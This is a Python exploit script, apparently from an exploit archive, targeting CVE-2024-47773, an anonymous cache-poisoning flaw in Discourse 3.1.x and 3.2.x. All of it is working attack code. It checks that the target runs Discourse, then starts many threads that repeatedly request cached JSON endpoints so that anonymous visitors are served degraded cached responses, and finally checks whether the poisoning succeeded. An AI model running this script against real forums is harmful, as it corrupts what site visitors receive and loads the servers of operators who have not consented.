Discourse 3.2.x Anonymous Cache Poisoning

#!/usr/bin/env python3 """ Exploit Title: Discourse 3.2.x - Anonymous Cache Poisoning Date: 2024-10-15 Exploit Author: ibrahimsql Github: : https://github.com/ibrahmsql Vendor Homepage: https://discourse.org Software Link: https://github.com/discourse/discourse Version: Discourse < latest (patched) Tested on: Discourse 3.1.x, 3.2.x CVE: CVE-2024-47773 CVSS: 7.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L) Description: Discourse anonymous cache poisoning vulnerability allows attackers to poison the cache with responses without preloaded data through multiple XHR requests. This affects only anonymous visitors of the site. Reference: https://nvd.nist.gov/vuln/detail/CVE-2024-47773 """ import requests import sys import argparse import time import threading import json from urllib.parse import urljoin class DiscourseCachePoisoning: def __init__(self, target_url, threads=10, timeout=10): self.target_url = target_url.rstrip('/') self.threads = threads self.timeout = timeout self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'X-Requested-With': 'XMLHttpRequest' }) self.poisoned = False def check_target(self): """Check if target is accessible and running Discourse""" try: response = self.session.get(f"{self.target_url}/", timeout=self.timeout) if response.status_code == 200: if 'discourse' in response.text.lower() or 'data-discourse-setup' in response.text: return True except Exception as e: print(f"[-] Error checking target: {e}") return False def check_anonymous_cache(self): """Check if anonymous cache is enabled""" try: # Test endpoint that should be cached for anonymous users response = self.session.get(f"{self.target_url}/categories.json", timeout=self.timeout) # Check cache headers cache_headers = ['cache-control', 'etag', 'last-modified'] has_cache = any(header in response.headers for header in cache_headers) if has_cache: print("[+] Anonymous cache appears to be enabled") return True else: print("[-] Anonymous cache may be disabled") return False except Exception as e: print(f"[-] Error checking cache: {e}") return False def poison_cache_worker(self, endpoint): """Worker function for cache poisoning attempts""" try: # Create session without cookies to simulate anonymous user anon_session = requests.Session() anon_session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'X-Requested-With': 'XMLHttpRequest' }) # Make rapid requests to poison cache for i in range(50): response = anon_session.get( f"{self.target_url}{endpoint}", timeout=self.timeout ) # Check if response lacks preloaded data if response.status_code == 200: try: data = response.json() # Check for missing preloaded data indicators if self.is_poisoned_response(data): print(f"[+] Cache poisoning successful on {endpoint}") self.poisoned = True return True except: pass time.sleep(0.1) except Exception as e: pass return False def is_poisoned_response(self, data): """Check if response indicates successful cache poisoning""" # Look for indicators of missing preloaded data indicators = [ # Missing or empty preloaded data not data.get('preloaded', True), data.get('preloaded') == {}, # Missing expected fields 'categories' in data and not data['categories'], 'topics' in data and not data['topics'], # Error indicators data.get('error') is not None, data.get('errors') is not None ] return any(indicators) def test_cache_poisoning(self): """Test cache poisoning on multiple endpoints""" print("[*] Testing cache poisoning vulnerability...") # Target endpoints that are commonly cached endpoints = [ '/categories.json', '/latest.json', '/top.json', '/c/general.json', '/site.json', '/site/basic-info.json' ] threads = [] for endpoint in endpoints: print(f"[*] Testing endpoint: {endpoint}") # Create multiple threads to poison cache for i in range(self.threads): thread = threading.Thread( target=self.poison_cache_worker, args=(endpoint,) ) threads.append(thread) thread.start() # Wait for threads to complete for thread in threads: thread.join(timeout=5) if self.poisoned: break time.sleep(1) return self.poisoned def verify_poisoning(self): """Verify if cache poisoning was successful""" print("[*] Verifying cache poisoning...") # Test with fresh anonymous session verify_session = requests.Session() verify_session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) try: response = verify_session.get(f"{self.target_url}/categories.json", timeout=self.timeout) if response.status_code == 200: try: data = response.json() if self.is_poisoned_response(data): print("[+] Cache poisoning verified - anonymous users affected") return True else: print("[-] Cache poisoning not verified") except: print("[-] Unable to parse response") else: print(f"[-] Unexpected response code: {response.status_code}") except Exception as e: print(f"[-] Error verifying poisoning: {e}") return False def exploit(self): """Main exploit function""" print(f"[*] Testing Discourse Cache Poisoning (CVE-2024-47773)") print(f"[*] Target: {self.target_url}") if not self.check_target(): print("[-] Target is not accessible or not running Discourse") return False print("[+] Target confirmed as Discourse instance") if not self.check_anonymous_cache(): print("[-] Anonymous cache may be disabled (DISCOURSE_DISABLE_ANON_CACHE set)") print("[*] Continuing with exploit attempt...") success = self.test_cache_poisoning() if success: print("[+] Cache poisoning attack successful!") self.verify_poisoning() print("\n[!] Impact: Anonymous visitors may receive responses without preloaded data") print("[!] Recommendation: Upgrade Discourse or set DISCOURSE_DISABLE_ANON_CACHE") return True else: print("[-] Cache poisoning attack failed") print("[*] Target may be patched or cache disabled") return False def main(): parser = argparse.ArgumentParser(description='Discourse Anonymous Cache Poisoning (CVE-2024-47773)') parser.add_argument('-u', '--url', required=True, help='Target Discourse URL') parser.add_argument('-t', '--threads', type=int, default=10, help='Number of threads (default: 10)') parser.add_argument('--timeout', type=int, default=10, help='Request timeout (default: 10)') args = parser.parse_args() exploit = DiscourseCachePoisoning(args.url, args.threads, args.timeout) try: success = exploit.exploit() sys.exit(0 if success else 1) except KeyboardInterrupt: print("\n[-] Exploit interrupted by user") sys.exit(1) except Exception as e: print(f"[-] Exploit failed: {e}") sys.exit(1) if __name__ == '__main__': main()